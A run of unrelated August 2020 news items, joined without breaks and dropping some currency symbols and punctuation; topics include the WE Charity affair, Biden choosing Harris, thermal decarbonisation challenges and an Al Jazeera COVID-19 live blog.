local government is likely to incur additional costs when accommodation and financial support needs to be provided.' A Government spokesman told MailOnline in April: 'Over 90 per cent of those known to be living on the streets at the start of the crisis have been offered safe accommodation - ensuring some of the most vulnerable people can stay safe during the pandemic. 'This is a remarkable achievement is the result of a collaborative effort across Government and with local authorities, health providers and charities. 'This is backed by 3.2billion of Government funding for local authorities as part of the wider government response to the coronavirus pandemic.' OTTAWA - Prime Minister Justin Trudeau tried Tuesday to shut down speculation that he's about to fire his finance minister, saying he has full confidence in Bill Morneau and that any reports to the contrary are false. Hey there, time traveller! This article was published 11/8/2020 (525 days ago), so information in it may no longer be current. Prime Minister Justin Trudeau says he has full confidence in Finance Minister Bill Morneau and any reports to the contrary are false. Finance Minister Bill Morneau rises during Question Period in the House of Commons in Ottawa, Monday, July 20, 2020. THE CANADIAN PRESS/Adrian Wyld OTTAWA - Prime Minister Justin Trudeau tried Tuesday to shut down speculation that he's about to fire his finance minister, saying he has full confidence in Bill Morneau and that any reports to the contrary are false. Trudeau's office took the unusual step of issuing a statement in support of Morneau as rumours about the minister's imminent departure from the crucial finance post reached a fever pitch on Parliament Hill. For several weeks, opposition parties have been calling for Morneau's resignation over allegations that he had a conflict of interest in the WE Charity affair. Morneau and Trudeau are both facing investigations by the federal ethics watchdog. But news this week that Mark Carney, a former governor of both the Bank of Canada and Bank of England, is helping to advise Trudeau on the post-pandemic economic recovery fuelled speculation that Morneau is about to be replaced as finance minister. In the statement Tuesday, the Prime Minister's Office praised Morneau's record, including his "lead role" in creating emergency aid programs to help individuals and businesses survive the economic shutdown triggered by the COVID-19 pandemic. "Since we formed government, Minister Morneau has worked relentlessly with all his colleagues, and closely with the prime minister, to deliver critical support for Canadians to build a strong and resilient economy," it said. "In particular, Minister Morneau played a central role that saw Canada develop one of the best economies in the G7, a million new jobs over the first mandate, generational changes to the CPP, the lowest unemployment rate in Canadian history, and over a million Canadians lifted out of poverty." The statement said Morneau is continuing his important work of helping Canadians survive the economic impact of the pandemic. "Of course the prime minister has full confidence in Minister Morneau and any statement to the contrary is false. The prime minister knows that Minister Morneau and the entire team of cabinet ministers will keep doing the work that Canadians rely on to get them through this pandemic." Earlier Tuesday, Conservative Leader Andrew Scheer said it mattered little to him whether Morneau or someone else serves as finance minister under Trudeau. "It really doesn't matter, making a trade for Bill Morneau, when you've got a prime minister that has such a lack of ethics embroiled in so many scandals," Scheer told reporters at a news conference in Ottawa. Trudeau and Morneau are both under investigation by the federal ethics commissioner for possible conflicts of interest arising from the government's decision to hand the administration of a student grant program to WE Charity. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Both have close family connections to the charity and have apologized for not recusing themselves from the decision. However, they've also insisted that it was public servants who recommended WE Charity as the only organization capable of managing the program, which has since been abandoned due to the controversy. The government had budgeted $912 million for the program, which was supposed to encourage students to sign up for volunteer work related to the COVID-19 pandemic. The agreement to have WE Charity administer the program was for $543 million. WE Charity was to be paid up to $43.5 million under the agreement, which stipulated that the organization could not make money on the deal. Trudeau has been a featured speaker at six WE Day events and his wife hosts a podcast for the group, for which they have not been paid. However, the charity has covered hundreds of thousands in expenses for Sophie Gregoire Trudeau as well as fees and expenses to Trudeau's mother and brother for speaking at numerous WE events over the years. One of Morneau's daughters works for the organization, another has spoken at its events and his wife has donated $100,000. Morneau also revealed last month that he had repaid some $41,000 in expenses that WE had paid for him and his family in 2017 for trips to view two of its humanitarian projects in Ecuador and Kenya. This report by The Canadian Press was first published Aug. 11, 2020. The financial aid, limited to 1,250 per employee, is supposed to help non-profit organisations working in the sector. The funding envisions most notably a participation in remuneration costs, as well as project costs in the context of tourism-related initiatives of regional or national nature that are organised by a non-profit founded in Luxembourg. Up to 100,000 per month To become eligible for the financial aid, a number of conditions need to be fulfilled. The applying non-profit must be in charge of a tourism infrastructure before 15 March 2020. The aid can be received for the months of June, Juli, August, September, October, and November, with overall costs for the organisation not being able to exceed 100,000 euros per month with more than 50 employees. Volunteer work will not be considered within the plan. Further information For further details on the financial support of non-profits, please consider the government's section on Guichet.lu. The application form can be downloaded as of today, or filled out online via thue use of LuxTrust. The form was developed by the ministry of the economy and supported by the government's IT centre (CTIE). Credit: CC0 Public Domain More than 90 percent of the world's energy use today involves heat, whether for producing electricity, heating and cooling buildings and vehicles, manufacturing steel and cement, or other industrial activities. Collectively, these processes emit a staggering amount of greenhouse gasses into the environment each year. Reinventing the way we transport, store, convert, and use thermal energy would go a long way toward avoiding a global rise in temperature of more than 2 degrees Celsiusa critical increase that is predicted to tip the planet into a cascade of catastrophic climate scenarios. But, as three thermal energy experts write in a letter published today in Nature Energy, "Even though this critical need exists, there is a significant disconnect between current research in thermal sciences and what is needed for deep decarbonization." In an effort to motivate the scientific community to work on climate-critical thermal issues, the authors have laid out five thermal energy "grand challenges," or broad areas where significant innovations need to be made in order to stem the rise of global warming. MIT News spoke with Asegun Henry, the lead author and the Robert N. Noyce Career Development Associate Professor in the Department of Mechanical Engineering, about this grand vision. Q: Before we get into the specifics of the five challenges you lay out, can you say a little about how this paper came about, and why you see it as a call to action? A: This paper was born out of this really interesting meeting, where my two co-authors and I were asked to meet with Bill Gates and teach him about thermal energy. We did a several-hour session with him in October of 2018, and when we were leaving, at the airport, we all agreed that the message we shared with Bill needs to be spread much more broadly. This particular paper is about thermal science and engineering specifically, but it's an interdisciplinary field with lots of intersections. The way we frame it, this paper is about five grand challenges that if solved, would literally alter the course of humanity. It's a big claimbut we back it up. And we really need this to be declared as a mission, similar to the declaration that we were going to put a man on the moon, where you saw this concerted effort among the scientific community to achieve that mission. Our mission here is to save humanity from extinction due to climate change. The mission is clear. And this is a subset of five problems that will get us the majority of the way there, if we can solve them. Time is running out, and we need all hands on deck. Q: What are the five thermal energy challenges you outline in your paper? A: The first challenge is developing thermal storage systems for the power grid, electric vehicles, and buildings. Take the power grid: There is an international race going on to develop a grid storage system to store excess electricity from renewables so you can use it at a later time. This would allow renewable energy to penetrate the grid. If we can get to a place of fully decarbonizing the grid, that alone reduces carbon dioxide emissions from electricity production by 25 percent. And the beauty of that is, once you decarbonize the grid you open up decarbonizing the transportation sector with electric vehicles. Then you're talking about a 40 percent reduction of global carbon emissions. The second challenge is decarbonizing industrial processes, which contribute 15 percent of global carbon dioxide emissions. The big actors here are cement, steel, aluminum, and hydrogen. Some of these industrial processes intrinsically involve the emission of carbon dioxide, because the reaction itself has to release carbon dioxide for it to work, in the current form. The question is, is there another way? Either we think of another way to make cement, or come up with something different. It's an extremely difficult challenge, but there are good ideas out there, and we need way more people thinking about this. The third challenge is solving the cooling problem. Air conditioners and refrigerators have chemicals in them that are very harmful to the environment, 2,000 times more harmful than carbon dioxide on a molar basis. If the seal breaks and that refrigerant gets out, that little bit of leakage will cause global warming to shift significantly. When you account for India and other developing nations that are now getting access to electricity infrastructures to run AC systems, the leakage of these refrigerants will become responsible for 15 to 20 percent of global warming by 2050. The fourth challenge is long-distance transmission of heat. We transmit electricity because it can be transmitted with low loss, and it's cheap. The question is, can we transmit heat like we transmit electricity? There is an overabundance of waste heat available at power plants, and the problem is, where the power plants are and where people live are two different places, and we don't have a connector to deliver heat from these power plants, which is literally wasted. You could satisfy the entire residential heating load of the world with a fraction of that waste heat. What we don't have is the wire to connect them. And the question is, can someone create one? The last challenge is variable conductance building envelopes. There are some demonstrations that show it is physically possible to create a thermal material, or a device that will change its conductance, so that when it's hot, it can block heat from getting through a wall, but when you want it to, you could change its conductance to let the heat in or out. We're far away from having a functioning system, but the foundation is there. Q: You say that these five challenges represent a new mission for the scientific community, similar to the mission to land a human on the moon, which came with a clear deadline. What sort of timetable are we talking about here, in terms of needing to solve these five thermal problems to mitigate climate change? A: In short, we have about 20 to 30 years of business as usual, before we end up on an inescapable path to an average global temperature rise of over 2 degrees Celsius. This may seem like a long time, but it's not when you consider that it took natural gas 70 years to become 20 percent of our energy mix. So imagine that now we have to not just switch fuels, but do a complete overhaul of the entire energy infrastructure in less than one third the time. We need dramatic change, not yesterday, but years ago. So every day I fear we will do too little too late, and we as a species may not survive Mother Earth's clapback. Explore further How heat can be used to store renewable energy More information: Asegun Henry et al. Five thermal energy grand challenges for decarbonization, Nature Energy (2020). Journal information: Nature Energy Asegun Henry et al. Five thermal energy grand challenges for decarbonization,(2020). DOI: 10.1038/s41560-020-0675-9 Kamala Harris and Joe Biden. Scott Olson/Getty Images After months of speculation, former Vice President Joe Biden tapped Sen. Kamala Harris of California to be his vice-presidential running mate. The 55-year-old former California attorney general will be the first Black woman and first person of Indian descent to be nominated by either major party for vice president. Harris was chosen despite some concerns about her widely shared debate moment when she went after Biden over his opposition to federally mandated bussing. Visit Business Insider's homepage for more stories. Presumptive Democratic presidential nominee Joe Biden announced Sen. Kamala Harris of California would be his vice-presidential running mate, which will make her the first woman of color on a major party's presidential ticket. The selection makes Harris a leading figure in the Democratic Party, with the chance to be a heartbeat away from the presidency and a favorite for the next nomination in 2024 or 2028. She'll be the fourth woman to ever be nominated by a major party on a presidential ticket. Harris, 55, was briefly a front-runner in the 2020 Democratic presidential-primary race but dropped out in December amid lagging enthusiasm and dwindling campaign funds. The former prosecutor notably sparred with Biden during a Democratic debate over his opposition to federally mandated bussing to integrate racially segregated schools earlier in his political career. Biden, 77, said he was "blindsided" by the attack, especially given Harris' friendship with his son Beau, but the two later reconciled and were seen being chummy at subsequent campaign events. This is not the first time Harris has made history in pursuing higher office. Harris was born in Oakland, California, to parents of Jamaican and Indian descent. She went on to become the first woman and Black person to serve as San Francisco district attorney and later as California attorney general. She joined the Senate in 2017 after winning the race to succeed longtime Sen. Barbara Boxer, becoming only the second Black woman to serve in the chamber and the first South Asian American elected to the Senate. Story continues Early on in her Senate tenure, Harris became known for her sharp questioning during committee hearings, particularly those featuring Supreme Court Justice Brett Kavanaugh and Attorney General William Barr. Harris performed well early in the Democratic presidential-primary race but struggled later as campaign funds dried up. She dropped out of the race in early December, avoiding any disappointments in the early contests. The senator endorsed Biden in March, sparking a new round of vice-presidential speculation. From 'top cop' to leader of the anti-Trump 'resistance' During her more than two decades as a prosecutor, Harris developed a reputation as a shrewd but cautious "top cop." She championed some progressive reforms in California, including instituting a program in San Francisco that offered first-time drug offenders education and work opportunities instead of jail time. But she also defended the state's death penalty and fought to more harshly punish the parents of chronically truant schoolchildren. Over the past four years, Harris has emerged as an outspoken, media-savvy voice for the anti-Trump "resistance." Clips of her grilling former Attorney General Jeff Sessions and CIA Director Gina Haspel on the floor of the Senate were widely shared on social media. And she's secured a place alongside some of the most progressive members of her caucus with a voting record that matches other former 2020 contenders, including fellow Sens. Elizabeth Warren and Kirsten Gillibrand. But as a presidential candidate, Harris positioned herself as a more moderate progressive, proposing more incremental policy reforms, including a public option for healthcare, rather than "Medicare for All." Read the original article on Business Insider SD113 school board members voted to start the year remotely through at least the first quarter. A pandemic metrics task force, which will include medical professionals, is being formed to identify conditions the district should consider when deciding if students can return to in-person learning, according to district officials. The task force will not make decisions on whether students can return to school but will provide some guidance on conditions to consider when making those decisions, Law said in a recent message to parents. The nation's largest miner, BHP, says Indigenous groups should have a greater say over projects endangering significant sites on their ancestral land following Rio Tinto's destruction of 46,000-year-old rock shelters in Western Australia. In a submission to a federal inquiry into the blasting of the Juukan Gorge site by rival Rio, BHP said heritage-protection laws covering mining operations in WA's iron ore-rich Pilbara were weighted too far in favour of resources companies. The site at Juukan Gorge that was reduced to rubble to extend one of Rio Tinto's iron ore mines. Credit:PKKP Aboriginal Corporation BHP said it supported enshrining traditional owner consultation requirements for disturbing land into new state laws, and the introduction of rights for traditional owners to appeal decisions after they are granted. "Rights of appeal are not balanced," the miner said. "A land user is able to seek review of a refusal to grant a land-use consent ... and can seek a review of a declaration of an Aboriginal site as a protected area. However, the traditional owners do not have the same rights to seek review in the event that they wish to contest these decisions." Police in Boston are investigating a fatal crash that involved a motorcycle early Tuesday morning, authorities said. At 12:30 a.m. Tuesday police responded a report of a motorcycle crash at 82 Wood Avenue in Hyde Park, the Boston Police Department said. Police said the crash killed one person. The department did not release any further information regarding the victim or any other details about the crash. Its unknown if the motorcyclist was the only person or vehicle involved in the crash. Members of the Boston Police Department are continuing to investigate the fatal crash. Spains cases rise to 326,612; Mexico to conduct trials for China, US vaccines; Florida reports 5,800 infections. The WHO has not received enough information on the Russian COVID-19 vaccine to evaluate it, the assistant director of its regional branch, the Pan American Health Organization, Jarbas Barbosa has said. President Vladimir Putin said Russia has developed the first vaccine offering sustainable immunity against coronavirus. Worldwide coronavirus cases have surpassed 20 million, with Brazil and Mexico reporting a combined 27,000 infections in just one day. More than 12.2 million have recovered, and almost 735,000 have died from the disease, according to the Johns Hopkins University tally. Here are the latest updates: Tuesday, August 11 23:38 GMT Brazilian state in talks with Russia to make COVID-19 vaccine Brazils Parana state is in talks to produce a COVID-19 vaccine approved by Russia despite not having completed mass clinical trials, according to an official. The announcement by the Parana Technology Institute (Tecpar) took Brazils regulators and health experts by surprise, with some raising doubts about the institutes capacity to produce large volumes of a new vaccine from scratch. Tecpars spokesman Joao Pedro Schonarth told Reuters talks were underway, and the state government said Governor Ratinho Junior was set to meet the Russian ambassador to Brazil on Wednesday. The spokesman for the southern state declined to say if a production deal would be signed at the meeting. 20:30 GMT Four out of five CEOs expect COVID-19 to entrench remote working Almost four out of five chief executives expect remote working to become more widespread in their businesses as a result of COVID-19, a global survey from accountancy firm PwC has shown. New York, London and some other big cities currently have only a fraction of their normal workforce in offices as employers and governments have told staff to work from home where possible. While some authorities are now encouraging a return to work, PwC said 78 percent of the chief executives it surveyed expected that at least some of the shift towards remote collaboration would prove enduring. Read more here. 20:00 GMT Germany issues travel warning for Madrid due to coronavirus Germany has extended a partial travel warning for Spain to the capital of Madrid and the Basque region due to the COVID-19 pandemic, the foreign ministry has said. The foreign ministry said it was warning against any unnecessary tourist trips to both regions because of a rising number of new infections and local restrictions put in place to contain the spread of the new coronavirus. The German government had already issued travel warnings for the Spanish regions of Aragon, Catalonia and Navarra. 19:30 GMT McConnell: no talks between White House, Democrats on coronavirus aid US Senate Republican leader Mitch McConnell said White House negotiators have not spoken with Democratic leaders in the US Congress on coronavirus aid legislation after talks broke down last week. As far as I know, the secretary of the Treasury and the [White House] chief of staff have not spoken to the speaker and the Democratic leader today. And so another day has gone by with an impasse, and they need to get together, McConnell told Fox News. 19:15 GMT Trump says coronavirus changed great relationship with China US President Donald Trump said his relationship with Chinese President Xi Jinping has frayed in the wake of the novel coronavirus pandemic and that he has not spoken to his Chinese counterpart for a long time. I used to have a very good relationship with him, Trump told Fox Sports Radio in an interview, citing their phase one trade deal hammered out last year and signed in early 2020. I had a great relationship with President Xi. I like him, but I dont feel the same way now. Read more here. 19:00 GMT Georgia schools quarantine 800 students A Georgia school district has quarantined more than 800 students because of possible exposure to the coronavirus since it resumed in-person teaching last week. Data updated by the Cherokee County School District outside Atlanta also show it has quarantined 42 staff members since the start of the year on August 3. The district serves more than 42,000 students. 18:45 GMT UN says pandemic could inflict severe damage on youth The United Nations has said that the coronavirus crisis could have a severe and lasting impact on the life prospects of young adults without swift remedial action. The UNs International Labour Organization said the career prospects of people aged 18 to 29 were taking a hit from the COVID-19 pandemic, while students faced a gloomy outlook for its effects on their education. 18:30 GMT Lebanon registers record number of daily COVID-19 cases Lebanon has announced a record daily number of over 300 COVID-19 infections and seven deaths from the virus as the country grapples with the aftermath of the Beirut port explosion that rocked the capital and overwhelmed hospitals. The countrys tally now stands at 7,121 COVID-19 cases and 87 deaths since February, according to health ministry data. Even before the blast, there had been a recent surge in infections. 18:00 GMT Facebook removes 7 million posts for sharing false information on coronavirus Facebook Inc said it had removed seven million posts in the second quarter for sharing false information about the new coronavirus, including content that promoted fake preventative measures and exaggerated cures. Facebook released the data as part of its sixth Community Standards Enforcement Report, which it introduced in 2018 along with more stringent decorum rules in response to a backlash over its lax approach to policing content on its platforms. The company said it would invite external experts to independently audit the metrics used in the report, beginning in 2021. 17:45 GMT UK reports highest daily total COVID cases since June 21 at 1,148 A total of 1,148 new cases of COVID-19 have been confirmed in the United Kingdom. The cumulative total of UK cases stood at 311,641. The UK authorities stopped publishing daily updates on the number of deaths from COVID-19 on July 17 due to a review of the way the statistics were being reported, which has yet to conclude. 17:30 GMT Half of daily 100,000 COVID-19 cases in Americas are in US WHO director More than 100,000 cases of COVID-19 are being reported daily in the Americas, half of them in the United States, and there are worrisome spikes in countries that had outbreaks controlled, such as Argentina and Colombia, World Health Organization regional director Carissa Etienne has said. Our region remains under COVIDs grip, Etienne said in a virtual briefing from Washington with other Pan American Health Organization (PAHO) directors. The US has reported around five million cases and Brazil, with the second-worst outbreak in the world, has recorded more than 100,000 deaths. 17:00 GMT Frances new COVID-19 infections nearly double in a day French health authorities reported 1,397 new COVID-19 infections over 24 hours on Tuesday, almost twice Mondays tally. The Health Ministry website said there were 15 new deaths in hospital due the disease, compared to an increase of 16 over a three-day period between Monday and Saturday, with the total death toll standing at 30,354. The number of people hospitalised for the disease went down again after creeping up Monday for the first time in two and a half months. 16:30 GMT Spains total coronavirus cases rise to 326,612 Spains health ministry has reported 1,418 new coronavirus cases, below last weeks peaks. Cumulative cases, which also include results from antibody tests on people who may have recovered, increased further to reach a total of 326,612. The disease claimed 64 lives over the past seven days, the statistics showed. In total, more than 28,500 people have died from the disease in Spain, one of Europes hardest-hit countries by COVID-19. 16:15 GMT WHO says delay routine dental work due to virus risk Dental patients and staff need to be protected from any potential infection by aerosol-generating procedures, the World Health Organization (WHO) said on Tuesday, as dentists return to work in areas where the COVID-19 pandemic is easing. There is currently no data on the spread of coronavirus from the dentists chair, it said, calling for more research into common procedures that produce tiny floating particles that may cause infection if inhaled. These include three-way air/water spray, ultrasonic cleaning equipment that removes deposits from the tooth surface, and polishing, the WHO said in new guidance. New WHO interim guidance on considerations for the provision of essential #OralHealth services in the context of #COVID19 addresses the prioritization of urgent cases, screening of patients and measures to be taken in oral health services https://t.co/jvKuNUhu1S pic.twitter.com/A0eUa6rAXC World Health Organization (WHO) (@WHO) August 11, 2020 16:00 GMT WHO lacks info to evaluate Russian COVID-19 vaccine, says PAHO The World Health Organization has not received enough information on the Russian COVID-19 vaccine to evaluate it, the assistant director of its regional branch, the Pan American Health Organization, Jarbas Barbosa has said. Asked about plans to produce the potential vaccine in Brazil, Barbosa said that should not be done until phase two and three trials are completed to guarantee its safety and effectiveness. Any vaccine producer has to follow this procedure that guarantees it is safe and has the WHOs recommendation, he said in a virtual briefing from Washington. 15:45 GMT COVID-19: New Yorks true nursing home death toll is likely high Riverdale Nursing Home in the New York City borough of the Bronx appears, on paper, to have escaped the worst of the coronavirus pandemic, with an official state count of just four deaths in its 146-bed facility. The truth, according to the home, is far worse: 21 dead, most transported to hospitals before they succumbed to COVID-19. It was a cascading effect, administrator Emil Fuzayov recalled. One after the other. New Yorks coronavirus death toll in nursing homes, already among the highest in the nation, could actually be a significant undercount. Read more here. 15:30 GMT -UK schools start to reopen despite increase in cases Scottish children went back to school for the first time in five months as leaders across the United Kingdom try to kickstart a return to education despite a resurgence in the number of coronavirus cases. Scotlands devolved government has ordered pupils in different parts of the country to return gradually through this week, with all classes set to have resumed fully by next Tuesday. In England, where plans to restart schooling in June had to be abandoned following opposition from teaching unions and some parents, the government is adamant that children will return in early September. But the reopenings come as the UK, which has recorded the highest death toll in Europe from COVID-19 with more than 46,000 fatalities, could be witnessing the start of a resurgence. 15:00 GMT Mexico to conduct late-stage trials for China, US COVID-19 vaccines Mexico aims to conduct late-stage clinical trials for COVID-19 vaccines in development by Johnson & Johnson and two Chinese companies within months, the foreign minister has said, adding that the goal was to secure access to the drugs. Mexico has signed memorandums of understanding with J&J and Chinese companies CanSino Biologics Inc and Walvax Biotechnology Co Ltd, Foreign Minister Marcelo Ebrard said at news conference. Ebrard said the trials would start between September and January, depending on approval from Mexicos food and drug agency. 14:45 GMT French PM: Coronavirus infection rate headed in wrong direction France is extending a ban on public gatherings of more than 5,000 people to October 30 as coronavirus infections rise sharply, Prime Minister Jean Castex said on Tuesday. Castex told a news conference that the coronavirus situation in France had been going the wrong way for two weeks. On Monday, France reported the first significant daily rise in the number of people in hospital with COVID-19 since the end of its strict lockdown. 14:30 GMT US health chief Alex Azar blames China for virus spread US Health and Human Service Secretary Alex Azar has redoubled accusations that China failed to adequately warn of the coronavirus after it was first detected in Wuhan. Azar says Chinas ruling Communist Party had the chance to warn the world and work with the world on battling the virus. But they chose not to, and the costs of that choice mount higher every day. 14:15 GMT Hello, this is Elizabeth Melimopoulos taking over the live updates from my colleague Hamza Mohamed in Doha. 12:15 GMT WHO wants to review Russian vaccine safety data The World Health Organization said any WHO stamp of approval on a COVID-19 vaccine candidate would require a rigorous safety data review, after Russia announced it had approved a vaccine. We are in close contact with the Russian health authorities and discussions are ongoing with respect to possible WHO pre-qualification of the vaccine, the United Nations health agencys spokesman Tarik Jasarevic told reporters in Geneva at an online press briefing. Pre-qualification of any vaccine includes the rigorous review and assessment of all the required safety and efficacy data. epa08389567 Russian President Vladimir Putin attends a meeting with the regional governors on measures to slow the spread of the the SARS-CoV-2 coronavirus which cuases the COVID-19 disease, via video conference at the Novo-Ogaryovo state residence outside Moscow, Russia, 28 April 2020. EPA-EFE/ALEXEI DRUZHININ / KREMLIN POOL /SPUTNIK 11:30 GMT Dutch cases jumped 55 percent in the past week New confirmed coronavirus cases in the Netherlands jumped to 4,036 in the past week, continuing the rapid increase seen since the easing of lockdown measures last month, Dutch health authorities said. The number of infections was up 55 percent from the 2,588 cases reported over the previous week. 11:15 GMT Egypt-Gaza crossing opens for first time in months The only crossing between Gaza and Egypt opened on Tuesday for 72 hours, allowing people to leave the Palestinian enclave for the first time since the novel coronavirus outbreak began. The Rafah crossing in southern Gaza was closed in March, as Hamas sought to guard against a major virus outbreak in the densely-populated territory with weak health infrastructure. The crossing reopened for limited two-way movement on Tuesday. Rafah was opened for three days in April, but only to allow Gazans stranded abroad to return home [File Mohammed Saber/EPA] Gazas interior ministry spokesman Iyad al-Bazam said people who hold foreign passports, foreign residency permits or emergency medical needs will be allowed to leave. 10:35 GMT Singapore confirms 61 new cases, lowest daily count in four months Singapore reported 61 new COVID-19 cases, its lowest daily count in more than four months. The city-state went into lockdown in mid-April after mass outbreaks in cramped migrant worker dormitories pushed its caseload to one of the highest in Asia. Last week, it said it had cleared infections from all of the dormitories housing about 300,000 workers barring some blocks which continue to serve as isolation zones. Of Tuesdays cases its lowest tally since April 2 the majority were among those remaining workers serving quarantine. 10:05 GMT New Zealand announces return of coronavirus after 102 days New Zealand announced its first locally transmitted coronavirus infections in 102 days on Tuesday, prompting the countrys prime minister to issue a stay-at-home lockdown order for the countrys largest city. After 102 days, we have our first cases of COVID-19 outside of managed isolation or quarantine facilities While we have all worked incredibly hard to prevent this scenario, we have also planned and prepared for it, Jacinda Ardern said. Prime Minister Jacinda Ardern said four cases had been detected in a single family in Auckland from an unknown source [Hagen Hopkins/AP] 09:40 GMT Former Indian President Pranab Mukherjee contracts COVID-19 Former Indian President Pranab Mukherjee was put on ventilator support after undergoing surgery having contracted COVID-19, local media reported, quoting unidentified sources at the military hospital in New Delhi where he is admitted. The reports on Mukherjee, 84, who served as president between 2012 and 2017, came as the federal health ministry once again reported a daily increase of more than 50,000 coronavirus cases. The worlds second-most populous country has been crossing the number every day since July 30. Mukherjee, who also led Indias federal defence, foreign affairs, finance ministries over a decades-long political career, said in a Twitter posting on Monday that he had tested positive for COVID-19 while visiting the hospital for a separate procedure. I request the people who came in contact with me in the last week, to please self isolate and get tested for COVID-19, he said, without disclosing further details of his condition. Mukherjee, 84, served as president between 2012 and 2017 [File: Adnan Abidi/Reuters] 09:10 GMT Russia approves worlds first coronavirus vaccine Russia has developed the first vaccine offering sustainable immunity against the coronavirus, President Vladimir Putin announced on Tuesday. This morning, for the first time in the world, a vaccine against the new coronavirus was registered in Russia, he said during a televised video conference call with government ministers. The countrys health ministry has given regulatory approval for the vaccine, developed by Moscows Gamaleya Institute, after less than two months of human testing, Putin said. Only US and Brazil have confirmed more infections than Russia [EPA] The move paves the way for mass inoculation even as the final stages of clinical trials to test safety and efficacy continue. 08:35 GMT Indonesia reports 1,693 new cases Indonesia reported 1,693 new coronavirus cases, bringing the countrys total tally of infections to 128,776, data from the countrys health ministry website showed. The data also showed an additional 59 deaths, taking the total number of fatalities to 5,824, the highest COVID-19 death toll in Southeast Asia. 08:00 GMT UKs Heathrow Airport passenger numbers down 88 percent Britains Heathrow Airport renewed its call for COVID-19 testing at airports as it reported an 88 percent plunge in July passenger numbers due to ongoing restrictions on travel which it said were strangling the UK economy. Despite thousands of Britons holidaying overseas after months of lockdown, the government has already reimposed quarantine on arrivals from Spain, Luxembourg, Belgium, the Bahamas and Andorra. Tens of thousands of jobs are being lost because Britain remains cut off from critical markets such as the US, Canada and Singapore, said Heathrow CEO John Holland-Kaye. More than 860,000 passengers travelled through Heathrow in July [Andy Rain/EPA] 07:25 GMT Bhutan orders first coronavirus lockdown Bhutan ordered its first nationwide lockdown on Tuesday after a returning resident tested positive for coronavirus after being discharged from quarantine and coming into close contact with people in the capital Thimphu. The lockdown was ordered after a 27-year-old Bhutanese woman, who returned from Kuwait and was discharged from quarantine after testing negative, tested positive at a clinic on Monday. The case took the total in the tiny Himalayan kingdom to 113, still the lowest in South Asia, and it has not recorded any death. Bhutan, which is heavily reliant on high-end tourists, banned tourism in March [File: Cathal McNaughton/Reuters] 06:55 GMT Economic cost of coronavirus seen in UK jobs data: Minister Coronavirus was always going to have an economic cost said junior health minister, Edward Argar, when asked about UK jobs data which showed the biggest fall in employment in the country since 2009. We always knew that sadly this disease would not only have a health cost but would have an economic cost and I think we are seeing the consequences of part of that, he told Sky News on Tuesday. The number of people in employment in the UK fell by 220,000 in the three months to June, Office for National Statistics said. The unemployment rate held at 3.9 percent but that reflected an increase in people who had given up looking for work and who were therefore not considered to be unemployed. 06:40 GMT Manager of Japans football club tests positive for COVID-19 The manager of Japanese top-flight side Sagan Tosu, Kim Myung-hwi, has tested positive for the novel coronavirus, the club said. Kim felt unwell before Sagan Tosus game at Kashima Antlers on Saturday but as his symptoms did not include a fever, the 39-year-old remained involved in the match, they said. Kim developed a fever on Sunday evening and after having a PCR test he received the positive result on Monday. The club said all players and staff had since been tested and would know their results before Wednesdays Levain Cup match against Sanfrecce Hiroshima, which is currently scheduled to go ahead [File: Masahiro Ura/Getty] ___________________________________________________________________________ Hello, this is Hamza Mohamed in Doha, Qatar, taking over from my colleague Ted Regencia in Kuala Lumpur, Malaysia. ___________________________________________________________________________ 05:45 GMT Philippines Duterte has huge trust in Russia vaccine Philippine President Rodrigo Duterte has lauded Russias efforts to develop a coronavirus vaccine and is willing to participate in trials, as he welcomed a supply offer from Moscow that he expects will be free of charge, according to Reuters news agency. Russia expects regulatory approval for a potential COVID-19 vaccine this month and is ready to provide it to the Philippines, or team up with a local firm to mass-produce it. The Philippines has among Asias highest numbers of coronavirus infections, which rose to 136,638 on Monday after a record daily jump of 6,958 cases. To allay public fears, Duterte offered to be a guinea pig when the vaccine arrives and said: I can be the first they can experiment on. 04:40 GMT Incoming UNGA president praises Pakistans response against pandemic Volkan Bozkir, the incoming president of the United Nations General Assembly has praised Pakistan for quickly containing the coronavirus, saying the South Asian nations handling of the pandemic is a good example for the world, according to AP news agency. The Turkish diplomat was recently elected as the president of the 75th session of the UNGA. Pakistan on Monday reported 15 deaths from coronavirus in the past 24 hours, raising its total COVID-19-related fatalities to 6,097. It has reported a total of more than 284,000 cases. 04:20 GMT Hong Kong reports another coronavirus death; death toll at 56 An elderly man has died of the coronavirus infection at a hospital in Hong Kong, pushing the number of deaths in the semi-autonomous city to 56. According to the South China Morning Post on Tuesday, the 79-year-old patient was hospitalised since July 27. He had some medical pre-conditions before being infected with COVID-19. As of Monday, Hong Kong recorded 4,148 coronavirus infections. People wear surgical masks at a wet market at Sham Shui Po, Hong Kong [File: Reuters] 04:00 GMT Papua New Guinea to lift lockdown despite surge in cases Papua New Guinea Prime Minister James Marape is pressing ahead with plans to lift lockdown measures in the Pacific nation this week, even as a recent spike in coronavirus infections worries health officials, according to Reuters. Marape said two-week lockdown in the capital of Port Moresby would be lifted from Wednesday, despite the countrys reported cases of COVID-19 doubling over the past week. PNG had a total of 214 cases and three deaths as of Sunday, the World Health Organization reported, up from 104 cases and one death the previous week. More worryingly, the WHO said, it was likely the real infection numbers were much higher, given low rates of testing in the country. 03:30 GMT New Zealand retirement home in lockdown to test for COVID-19 A New Zealand retirement village has gone into lockdown after residents displayed symptoms of the respiratory illness, Reuters reported on Tuesday. New Zealand, which has managed to largely contain the spread of the coronavirus, has gone more than 100 days without community transmission of COVID-19. 02:55 GMT Land of COVID-19? Philippines protests Thai newspaper headline The Philippine government has sent a letter of protest to a Bangkok-based newspaper over a headline calling the country the land of COVID-19, after it recorded the highest number of coronavirus cases in the East Asia region. In a letter to Thai Rath editor-in-chief Saravut Vacharaphol, Philippine Consul General to Thailand Val Simon Roque said the description is inappropriate, insensitive, and unhelpful. In a report dated August 8, Thai Rath said that 165 Filipino teachers arrived in Bangkok from the land of COVID-19. Thousands of Filipino teachers work in Thailand to fill its shortage in the education field. The Philippines has recorded 136,638 cases and almost 2,300 deaths as of the end of Monday. The number of cases tops the entire East Asia region and ranks 22 worldwide. 02:20 GMT Greece reports 126 new cases, Athens museum ordered shut Greece has confirmed at least 126 new coronavirus infections, pushing the countrys total to 5,749 with at least 213 deaths. According to the government, 17 of the new cases involved migrants in Lesbos, who arrived from Turkey. Meanwhile, the countrys culture ministry announced that for the next two weeks, the Museum of the Ancient Agora in Athens will be closed for disinfection, after one of its workers had tested positive for COVID-19. 01:48 GMT South Korea reports 34 new cases South Koreas new coronavirus cases returned 